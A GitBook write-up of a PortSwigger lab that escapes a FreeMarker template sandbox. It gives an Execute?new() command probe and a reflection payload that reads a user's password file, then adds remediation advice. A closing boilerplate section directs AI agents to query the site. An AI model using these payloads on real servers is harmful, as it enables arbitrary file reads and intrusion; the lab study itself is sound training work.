> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-5.md).

# lab-5

## Server-Side Template Injection in a Sandboxed Environment

**Difficulty:** Expert

### Lab Description

This lab uses the FreeMarker template engine and is vulnerable to server-side template injection due to a poorly implemented sandbox.

**Objective:** Break out of the sandbox to read the file `my_password.txt` from Carlos's home directory, then submit its contents.

**Credentials:** `content-manager:C0nt3ntM4n4g3r`

### Solution

#### Step 1 — Identify the template engine

Probing input fields in the template-rendering area with malformed syntax triggers a generic error, which exposes a detailed FreeMarker debug panel:

```
FreeMarker template error (DEBUG mode; use RETHROW in production!)
...
at freemarker.core.Environment.process(Environment.java:310)
at freemarker.template.Template.process(Template.java:383)
```

This confirms the backend is running **Apache FreeMarker v2.3.29**.

#### Step 2 — Enumerate the data model

FreeMarker exposes a built-in variable, `.data_model`, that can be listed to see what's available in the rendering context:

```freemarker
<#list .data_model?keys as key>${key}</#list>
```

The output includes `product`, confirming a live Java object named `product` is bound directly into the template context.

#### Step 3 — Test for sandbox restrictions

Classic FreeMarker payloads use the `?new()` built-in to directly instantiate internal utility classes for command execution:

```freemarker
${"freemarker.template.utility.Execute"?new()("id")}
```

This is blocked with the error:

```
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
...
at freemarker.core.TemplateClassResolver$2.resolve(TemplateClassResolver.java:69)
```

This shows the application is using FreeMarker's `SAFER_RESOLVER`, which blacklists direct instantiation of known-dangerous classes like `Execute` or `ObjectConstructor`.

#### Step 4 — Pivot via Java reflection on the exposed object

FreeMarker v2.3.29 doesn't perform deep, method-level access checks (a gap closed in 2.3.30+), so instead of instantiating a new class, the already-exposed `product` object can be used as a reflection pivot into standard Java classes.

First, confirm reflection is reachable:

```freemarker
${product.getClass().getName()}
```

This returns the underlying Java class name without triggering a security error, confirming method-level reflection isn't blocked.

#### Step 5 — Build the arbitrary file read payload

Using the class's protection domain and code source location, a file URL resolver can be reached and used to read an arbitrary file:

```freemarker
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

**Payload breakdown:**

* `product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()` — walks back from the object's class to the runtime's base directory URI.
* `.resolve('/home/carlos/my_password.txt').toURL()` — resolves the target file relative to that base, producing a usable file URL.
* `.openStream().readAllBytes()` — opens the file and reads its raw bytes, bypassing normal template restrictions via a native Java file read.
* `?join(" ")` — a FreeMarker built-in that formats the byte array as space-separated decimal values, since raw binary can't be rendered safely in the template output.

#### Step 6 — Decode the output

Save the payload in the product description editor, then load the rendered product page to retrieve the raw decimal byte sequence, e.g.:

```
115 101 99 114 101 116
```

Decode it back to text:

```python
decimal_output = [115, 101, 99, 114, 101, 116]  # example sequence
decoded = "".join(chr(x) for x in decimal_output)
print(decoded)
```

Submit the decoded string as the lab's solution.

### Conclusion

Even with a sandbox that blacklists direct instantiation of known-dangerous classes, an application-supplied object exposed to the template can still be used as a reflection pivot to reach arbitrary Java functionality — including raw file reads — if method-level access isn't separately restricted.

### Remediation

* **Upgrade FreeMarker** to 2.3.30 or later, which enforces stricter `MemberAccessPolicy` checks by default.
* **Disable verbose debug errors** (avoid `RETHROW` in production) to prevent attackers from mapping internal framework details.
* **Avoid binding live application objects directly into templates.** Pass only the specific, sanitized values a template actually needs.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-ssti-labs/lab-5.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
